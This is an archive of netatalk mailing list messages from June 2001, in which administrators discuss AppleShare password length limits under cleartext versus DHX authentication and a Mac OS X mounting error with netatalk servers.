From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
In-Reply-To: <Pine.GSO.4.21L.0106280837140.27145-100000@unix1.cc.ksu.edu>
Message-ID: <Pine.LNX.4.33L2.0106281659490.25736-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 28 Jun 2001, Seanano wrote:

> The macOS Appleshare client (at least the english verion) allows for up to
> eight characters and has for some time.  Our AppleshareIP box also limits
> passwords to eight chars.  I don't know if it is possible to change this
> without major work.

Sorry, this was my mistake. Indeed, I have 8 chars available, but my
Linux password had 9 chars.

> Since netatalk can use PAM you could use a different
> authentication method for it.  For example, I'm not sure how
> stable it is, but the mysql PAM module (
> http://sourceforge.net/projects/pam-mysql/ ) would probably be a
> fairly quick and easy way to do it, expecially if you have some
> mysql/sql experiance.  This is something I have on my list for
> trying out in the near future.

Hm, sounds good, but I guess the quickest way is to change my Linux
password to <= 8 chars...

Thanks everyone who was helping me!!
Claus


From netatalk.administrators-errors@umich.edu  Thu Jun 28 11:21:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 11:21:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA09161
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 11:21:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09138
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 11:21:41 -0400 (EDT)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA08875
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 11:21:40 -0400 (EDT)
Received: from unix1 (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id KAA20722
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 10:21:31 -0500 (CDT)
Received: from localhost by unix1 (SMI-8.6/1.34)
	id KAA16000; Thu, 28 Jun 2001 10:21:30 -0500
Date: Thu, 28 Jun 2001 10:21:30 -0500 (CDT)
From: Seanano <sto9013@ksu.edu>
X-Sender: sto9013@unix1.cc.ksu.edu
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
In-Reply-To: <Pine.LNX.4.33L2.0106281659490.25736-100000@thor.germania.lan>
Message-ID: <Pine.GSO.4.21L.0106281018160.2267-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> > Since netatalk can use PAM you could use a different
> > authentication method for it.  For example, I'm not sure how
> > stable it is, but the mysql PAM module (
> > http://sourceforge.net/projects/pam-mysql/ ) would probably be a
> > fairly quick and easy way to do it, expecially if you have some
> > mysql/sql experiance.  This is something I have on my list for
> > trying out in the near future.
> 
> Hm, sounds good, but I guess the quickest way is to change my Linux
> password to <= 8 chars...

Actually, the above was for your question about having the netatalk
password different from the console password.  Sorry for the confusion.

Sean


From netatalk.administrators-errors@umich.edu  Thu Jun 28 11:22:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 11:22:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA11375
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 11:22:55 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11363
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 11:22:55 -0400 (EDT)
Received: from clavin2.unet.brandeis.edu (clavin2.unet.brandeis.edu [129.64.99.33])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA11311
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 11:22:54 -0400 (EDT)
Received: from squirrel.bio.brandeis.edu (squirrel.bio.brandeis.edu [129.64.81.16])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id LAA25505;
	Thu, 28 Jun 2001 11:22:51 -0400
Date: Thu, 28 Jun 2001 11:22:51 -0400 (EDT)
From: Steven Karel <karelsf@brandeis.edu>
X-X-Sender:  <karelsf@squirrel.bio.brandeis.edu>
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
In-Reply-To: <Pine.LNX.4.33L2.0106281659490.25736-100000@thor.germania.lan>
Message-ID: <Pine.LNX.4.33.0106281120320.28114-100000@squirrel.bio.brandeis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 28 Jun 2001, Claus Atzenbeck wrote:

> On Thu, 28 Jun 2001, Seanano wrote:
>
> > The macOS Appleshare client (at least the english verion) allows for up to
> > eight characters and has for some time.  Our AppleshareIP box also limits
> > passwords to eight chars.  I don't know if it is possible to change this
> > without major work.
>
> Sorry, this was my mistake. Indeed, I have 8 chars available, but my
> Linux password had 9 chars.
>
> > Since netatalk can use PAM you could use a different
> > authentication method for it...
>
> Hm, sounds good, but I guess the quickest way is to change my Linux
> password to <= 8 chars...

That should not be necessary. Recent versions of the Appleshare client
(at least 3.8.6, quite possibly older versions as well)
allow more than 8 characters in a password; my password is 9 characters
and it happily works with recent versions of netatalk (--with-pam and
using Redhat's default setup)



From netatalk.administrators-errors@umich.edu  Thu Jun 28 11:41:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA25040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 11:41:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA12774
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 11:41:43 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12743
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 11:41:42 -0400 (EDT)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA12701
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 11:41:41 -0400 (EDT)
Received: from unix1 (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id KAA01274;
	Thu, 28 Jun 2001 10:41:35 -0500 (CDT)
Received: from localhost by unix1 (SMI-8.6/1.34)
	id KAA15258; Thu, 28 Jun 2001 10:41:35 -0500
Date: Thu, 28 Jun 2001 10:41:35 -0500 (CDT)
From: Seanano <sto9013@ksu.edu>
X-Sender: sto9013@unix1.cc.ksu.edu
To: Steven Karel <karelsf@brandeis.edu>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
In-Reply-To: <Pine.LNX.4.33.0106281120320.28114-100000@squirrel.bio.brandeis.edu>
Message-ID: <Pine.GSO.4.21L.0106281035010.2267-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> > Hm, sounds good, but I guess the quickest way is to change my Linux
> > password to <= 8 chars...
> 
> That should not be necessary. Recent versions of the Appleshare client
> (at least 3.8.6, quite possibly older versions as well)
> allow more than 8 characters in a password; my password is 9 characters
> and it happily works with recent versions of netatalk (--with-pam and
> using Redhat's default setup)

Is there some kind of preference/resource setting for this?  I'm using
Appleshare 3.8.8 and it won't let me type in more than 8 chars when
connecting to my AppleshareIP box or to my netatalk box (via cleartext).  
Is this limit is sent by the server?

Sean


From netatalk.administrators-errors@umich.edu  Thu Jun 28 12:26:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26380
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 12:26:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA29627
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 12:25:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA29605
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 12:25:53 -0400 (EDT)
Received: from duo.be (dns.duo.be [193.121.105.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA29553
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 12:25:51 -0400 (EDT)
Received: from [193.121.105.73] (193.121.105.73) by duo.be with ESMTP
 (Eudora Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Thu, 28 Jun 2001 18:27:07 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 28 Jun 2001 18:25:55 +0200
Subject: natalk and Mac OS X
From: Peter Duchateau <peter@duo.be>
To: netatalk mailing list <netatalk-admins@umich.edu>
Message-ID: <B7612733.2A78%peter@duo.be>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

We have a server running linux Mandrake 8 with natalk configured.
(version 1.5pre6-1mdk-i586)
Connecting to the server and using the files works fine from Mac OS 9.

When we connect from Mac OS X, we see the different shares, but when we try
to mount one of them, we get the following error message:

-------------------------------------
Disconnected

The file server "xxxxxx" connection
has unexpectedly closed down.
[date and time]
-------------------------------------


Can someone help me with this problem ?


From netatalk.administrators-errors@umich.edu  Thu Jun 28 12:35:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 12:35:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA18267
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 12:35:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18245
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 12:35:42 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA18199
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 12:35:41 -0400 (EDT)
Received: from [205.232.131.122] ([205.232.131.122])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id MAA01057
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 12:19:58 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 28 Jun 2001 12:35:01 -0400
Subject: Re: natalk and Mac OS X
From: Vic Landi <vic@mail.jamesltaylor.com>
To: netatalk mailing list <netatalk-admins@umich.edu>
Message-ID: <B760D4F5.27C6%vic@jamesltaylor.com>
In-Reply-To: <B7612733.2A78%peter@duo.be>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Which version of OSX are you using?  Have you upgraded to 10.0.4 yet?

> From: Peter Duchateau <peter@duo.be>
> Date: Thu, 28 Jun 2001 18:25:55 +0200
> To: netatalk mailing list <netatalk-admins@umich.edu>
> Subject: natalk and Mac OS X
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 28 Jun 2001 12:30:48 -0400 (EDT)
> 
> We have a server running linux Mandrake 8 with natalk configured.
> (version 1.5pre6-1mdk-i586)
> Connecting to the server and using the files works fine from Mac OS 9.
> 
> When we connect from Mac OS X, we see the different shares, but when we try
> to mount one of them, we get the following error message:
> 
> -------------------------------------
> Disconnected
> 
> The file server "xxxxxx" connection
> has unexpectedly closed down.
> [date and time]
> -------------------------------------
> 
> 
> Can someone help me with this problem ?


From netatalk.administrators-errors@umich.edu  Thu Jun 28 12:40:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 12:40:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA27084
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 12:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA27069
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 12:40:23 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA27014
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 12:40:21 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA14650;
	Thu, 28 Jun 2001 18:53:34 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 28 Jun 2001 18:40:36 +0200
Subject: Re: other passwd
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Seanano <sto9013@ksu.edu>, Steven Karel <karelsf@brandeis.edu>
CC: netatalk mailing list <netatalk-admins@umich.edu>
Message-ID: <B7612AA4.D1FD%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.GSO.4.21L.0106281035010.2267-100000@unix1.cc.ksu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on Thu, 28 Jun 2001 10:41:35 -0500 (CDT), Seanano wrote:

[length of afp passwords greater than 8]
> Is there some kind of preference/resource setting for this?

I think this is some kind of UAM stuff, isn't it? Support for longer
passwords came with DHX authentication ...

> I'm using Appleshare 3.8.8 and it won't let me type in more than 8 chars when
> connecting to my AppleshareIP box or to my netatalk box (via cleartext).
> Is this limit is sent by the server?

An UAM limit I guess.

3.8.8 is recommended by apple if using longer passwords:

<http://til.info.apple.com/techinfo.nsf/artnum/n60792>

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jun 28 13:11:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28270
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 13:11:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id NAA14968
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 13:11:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14951
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 13:11:45 -0400 (EDT)
Received: from mies.livsform.com (w218.z064003037.was-dc.dsl.cnc.net [64.3.37.218])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA14886
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 13:11:43 -0400 (EDT)
Received: (qmail 3791 invoked from network); 28 Jun 2001 17:11:36 -0000
Received: from w219.z064003037.was-dc.dsl.cnc.net (HELO ?192.168.5.5?) (64.3.37.219)
  by w218.z064003037.was-dc.dsl.cnc.net with SMTP; 28 Jun 2001 17:11:36 -0000
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 28 Jun 2001 13:11:13 -0400
Subject: Re: natalk and Mac OS X
From: Stanton Schell <stanton@livsform.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B760DD70.377%stanton@livsform.com>
In-Reply-To: <B760D4F5.27C6%vic@jamesltaylor.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello,
I am having the same problem; I am working with netatalk-1.5pre2-6 on Redhat
7.1.  This is the version distributed by RH in the Powertools.  I am also
running OS X v10.0.4 on the client machine...

-stanton schell
-- 
Stanton.Schell | stanton@livsform.com | 703.989.6591
Livsform | info@livsform.com | 202.328.1967

> From: Vic Landi <vic@mail.jamesltaylor.com>
> Date: Thu, 28 Jun 2001 12:35:01 -0400
> To: netatalk mailing list <netatalk-admins@umich.edu>
> Subject: Re: natalk and Mac OS X
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Thu, 28 Jun 2001 12:38:25 -0400 (EDT)
> 
> Which version of OSX are you using?  Have you upgraded to 10.0.4 yet?
> 
>> From: Peter Duchateau <peter@duo.be>
>> Date: Thu, 28 Jun 2001 18:25:55 +0200
>> To: netatalk mailing list <netatalk-admins@umich.edu>
>> Subject: natalk and Mac OS X
>> Resent-From: netatalk-admins@umich.edu
>> Resent-Date: Thu, 28 Jun 2001 12:30:48 -0400 (EDT)
>> 
>> We have a server running linux Mandrake 8 with natalk configured.
>> (version 1.5pre6-1mdk-i586)
>> Connecting to the server and using the files works fine from Mac OS 9.
>> 
>> When we connect from Mac OS X, we see the different shares, but when we try
>> to mount one of them, we get the following error message:
>> 
>> -------------------------------------
>> Disconnected
>> 
>> The file server "xxxxxx" connection
>> has unexpectedly closed down.
>> [date and time]
>> -------------------------------------
>> 
>> 
>> Can someone help me with this problem ?
> 
> 


From netatalk.administrators-errors@umich.edu  Thu Jun 28 18:33:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA10187
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 18:33:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA07852
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 18:33:31 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA07828
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 18:33:30 -0400 (EDT)
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA07777
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 18:33:29 -0400 (EDT)
Received: from apple.con (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out2.apple.com (8.9.3/8.9.3) with ESMTP id PAA19074
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 15:33:28 -0700 (PDT)
Received: from scv1.apple.com (scv1.apple.com) by apple.con
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T546c10fa6b118064e138c@apple.con>;
 Thu, 28 Jun 2001 15:31:44 +0100
Received: from kingshammer.apple.com (kingshammer.apple.com [17.221.40.220])
	by scv1.apple.com (8.9.3/8.9.3) with ESMTP id PAA05176;
	Thu, 28 Jun 2001 15:33:27 -0700 (PDT)
Date: Thu, 28 Jun 2001 15:34:44 -0700
X-Mailer: Apple Mail (2.402)
Mime-Version: 1.0 (Apple Message framework v402)
Cc: Leland Wallace <randall@apple.com>, Steven Karel <karelsf@brandeis.edu>,
        netatalk mailing list <netatalk-admins@umich.edu>
Message-Id: <C6569130-6C15-11D5-B5AE-0005024EC226@kingshammer.apple.com.apple.com>
Content-Transfer-Encoding: 7bit
In-Reply-To: <Pine.GSO.4.21L.0106281035010.2267-100000@unix1.cc.ksu.edu>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: other passwd
From: Leland Wallace <randall@apple.com>
To: Seanano <sto9013@ksu.edu>


On Thursday, June 28, 2001, at 08:41 AM, Seanano wrote:

>
>>> Hm, sounds good, but I guess the quickest way is to change my Linux
>>> password to <= 8 chars...
>>
>> That should not be necessary. Recent versions of the Appleshare client
>> (at least 3.8.6, quite possibly older versions as well)
>> allow more than 8 characters in a password; my password is 9 characters
>> and it happily works with recent versions of netatalk (--with-pam and
>> using Redhat's default setup)
>
> Is there some kind of preference/resource setting for this?  I'm using
> Appleshare 3.8.8 and it won't let me type in more than 8 chars when
> connecting to my AppleshareIP box or to my netatalk box (via cleartext).
> Is this limit is sent by the server?
>
> Sean
>
Folks,
   On the AppleShare Client, the cleartext UAM is limited to 8 chars. If
you use the DHX UAM you can get up to 64 chars. Look in the list 
archives for
instructions on how to enable DHX for netatalk.

Hope this helps
Leland Wallace
AppleShare Client Lead

+-----------------------------------------------------------------------------------
Leland Wallace           Working in            AppleShare Engineering
randall@apple.com    but not speaking for      Apple Computer Inc.
http://www2.inow.com/~randall
+-----------------------------------------------------------------------------------


From netatalk.administrators-errors@umich.edu  Thu Jun 28 19:34:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA11859
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 28 Jun 2001 19:34:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id TAA12790
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 28 Jun 2001 19:34:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12762
	for netatalk.administrators-members@umich.edu; Thu, 28 Jun 2001 19:34:24 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA12686
	for <netatalk-admins@umich.edu>; Thu, 28 Jun 2001 19:34:21 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id JAA07047;
	Fri, 29 Jun 2001 09:34:13 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B3BC030.60C1E0AC@arts.usyd.edu.au>
Date: Fri, 29 Jun 2001 09:39:28 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-pre5-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
CC: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: other passwd
References: <Pine.LNX.4.33L2.0106280747550.10477-100000@thor.germania.lan>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms50D8D614DB85C28A928FFC37"

This is a cryptographically signed message in MIME format.

--------------ms50D8D614DB85C28A928FFC37
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Claus Atzenbeck wrote:
> 
> I'm usins netatalk on Linux and on another computer I have MacOS 8.6.
> 
> It is working well. Right now I use my Linux user's login to get data
> via netatalk. The problem is that my passwords usually are larger than
> 6 characters, but the login window on MacOS (for my Appletalk server
> volume on Linux) allows max 6 chars for login.
> 
> 2 quesstions on that:
> 
> 1) Is it possible to enlarge the amount of chars I can type into the
> login screen on MacOS, in order to mount my Linux volumes on Mac?

 The DHX UAM does longer passwords. I think the others 'clear text' and
friends are limited to 8 characters by protocol. Blame Apple. It would
appear they introduced the DHX UAM to overcome the 8 character limit
with OSX servers. ASIP servers won't let you set longer than 8 character
passwords.

-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms50D8D614DB85C28A928FFC37
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
